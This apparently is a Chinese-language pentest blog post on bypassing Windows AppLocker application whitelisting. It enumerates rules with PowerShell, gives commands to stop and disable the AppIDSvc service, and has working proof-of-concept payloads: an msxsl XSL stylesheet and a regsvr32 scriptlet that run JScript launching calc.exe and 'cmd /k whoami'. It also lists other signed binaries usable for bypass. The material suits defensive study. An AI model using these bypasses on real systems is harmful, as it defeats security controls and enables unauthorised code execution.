zoukankan      html  css  js  c++  java
  • AppLocker提权

    AppLocker自定义规则:AppLocker规则可以应用于目标应用,这些规则也是构成AppLocker策略的基本组件。

    AppLocker基本组件有如下:

    规则集合:AppLocker控制台以规则集合作为组织单元,包括如下

    可执行文件,例如不能运行net.exe,whoami.exe

    脚本,例如不能运行.ps1,.js,.vbs

    Windows安装文件,例如不能运行.msi.msp

    封装的应用,例如不能运行如通过Microsoft商店安装的应用

    应用安装包以及DLL文件等

    规则条件: 可以帮助AppLocker识别哪些应用对应哪些规则,有如下三种规则

    发布者(Publisher),以应用在系统中的路径作为识别依据

    路径(Path),以应用的属性或者数字签名作为识别依据

    文件哈希(File hash),以应用的哈希值作为识别依据

    知识点:

    1、applocker生成的规则文件在c:/windows/system32/applocker

    2、applocker 的默认策略允许 C:Program Files (x86), C:Program Files, C:Windows 中可执行文件和脚本的运行, 同时允许带数字签名或在 C:WindowsInstaller 中 msi 程序的运行.


    powershell脚本尝试查找规则名称不是Default Rule的所有AppLocker规则(这个脚本自己测试的时候不行,以后再看吧!)

    Import-Module AppLocker
    [xml]$data = Get-AppLockerPolicy -effective -xml
    
    # Extracts All Rules and print them.
    Write-Output "[+] Printing Applocker Rules [+]`n"
    ($data.AppLockerPolicy.RuleCollection | ? { $_.EnforcementMode -match "Enabled" }) | ForEach-Object -Process {
        Write-Output ($_.FilePathRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Path Rule ===`n`n Rule Name : $($_.Name) `n Condition : $($_.Conditions.FilePathCondition.Path)`n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"
    }
        Write-Output ($_.FileHashRule) | ForEach-Object -Process { Write-Output "=== File Hash Rule ===`n`n Rule Name : $($_.Name) `n File Name :  $($_.Conditions.FileHashCondition.FileHash.SourceFileName) `n Hash type : $($_.Conditions.FileHashCondition.FileHash.Type) `n Hash :  $($_.Conditions.FileHashCondition.FileHash.Data) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"
    }
        Write-Output ($_.FilePublisherRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Publisher Rule ===`n`n Rule Name : $($_.Name) `n PublisherName : $($_.Conditions.FilePublisherCondition.PublisherName) `n ProductName : $($_.Conditions.FilePublisherCondition.ProductName) `n BinaryName : $($_.Conditions.FilePublisherCondition.BinaryName) `n BinaryVersion Min. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.LowSection) `n BinaryVersion Max. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.HighSection) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
    }
    

    提权方法:

    管理员情况下的提权:,我们可以直接进行停止相关的AppLocker依赖的服务"应用程序标识"来绕过,但是还是需要重新启动才能生效

    sc stop AppIDSvc
    sc config AppIDSvc start= disabled

    低权限情况下的提权:

    我设置的AppLocker脚本规则如下:

    尝试进行运行, 结果如下

    进行绕过,利用的是包含微软签名msxsl.exe

    customers.xml:

    <?xml version="1.0"?>
    <?xml-stylesheet type="text/xsl" href="script.xsl" ?>
    <customers>
       <customer>
          <name>John Smith</name>
          <address>123 Elm St.</address>
          <phone>(123) 456-7890</phone>
       </customer>
       <customer>
          <name>Mary Jones</name>
          <address>456 Oak Ave.</address>
          <phone>(156) 789-0123</phone>
       </customer>
    </customers>
    

    script.xml:

    <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
    
    <msxsl:script language="JScript" implements-prefix="user">
       function xml(nodelist) {
    	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
          return nodelist.nextNode().xml;
    	  
       }
    </msxsl:script>
    <xsl:template match="/">
       <xsl:value-of select="user:xml(.)"/>
    </xsl:template>
    </xsl:stylesheet>
    

    在script.xml中存在JScript的代码,当利用msxml进行解析的时候成功执行JScript的代码弹出calc.exe

    <msxsl:script language="JScript" implements-prefix="user">
       function xml(nodelist) {
    	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
          return nodelist.nextNode().xml;
    	  
       }
    </msxsl:script>
    

    regsvr32的试验绕过Applocker脚本规则:

    regsvr32是windows命令行实用工具用于注册动态链接库文件,向系统注册控件或者卸载控件的命令。

    c.sct

    <?XML version="1.0"?>
    <scriptlet>
    <registration         
    progid="Pentest"       
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
    
    <![CDATA[   
    var r = new ActiveXObject("WScript.Shell").Run("cmd /k whoami"); 
    ]]>
    
    </script>
    </registration>
    </scriptlet>
    

    regsvr32还可以进行远程上线的操作


    结尾:还有很多白名单程序都可以进行绕过,如下程序,有时间自己再尝试记录,还有的就是这些方法不止适用于绕过脚本规则,可执行规则类似的都可以进行尝试

    mshta
    msbuild
    msiexec 可以参考我的提权文章https://www.cnblogs.com/zpchcbd/p/11943147.html,这个msiexec多种方法绕过https://www.cnblogs.com/backlion/p/10493910.html
    rundll32
    regasm
    regsvcs
    regsvr32
    installutil
    

    参考文章:https://3gstudent.github.io/3gstudent.github.io/Use-msxsl-to-bypass-AppLocker/

  • 相关阅读:
    oracleI基础入门(6)sql语句Substring Crazy
    oracleI基础入门(7)table约束 Crazy
    oracleI基础入门(7)table视图 Crazy
    SQL附加分离数据库(命令)
    双截棍 C语言版 (超搞笑)
    AspNetPage分页(repeater),自己做的例子基本代码
    记录
    RegularExpressionValidator控件中正则表达式用法
    20 个经典的 Ajax + CSS 表格
    GridView各个事件中,怎样获取主键值
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12219534.html
Copyright © 2011-2022 走看看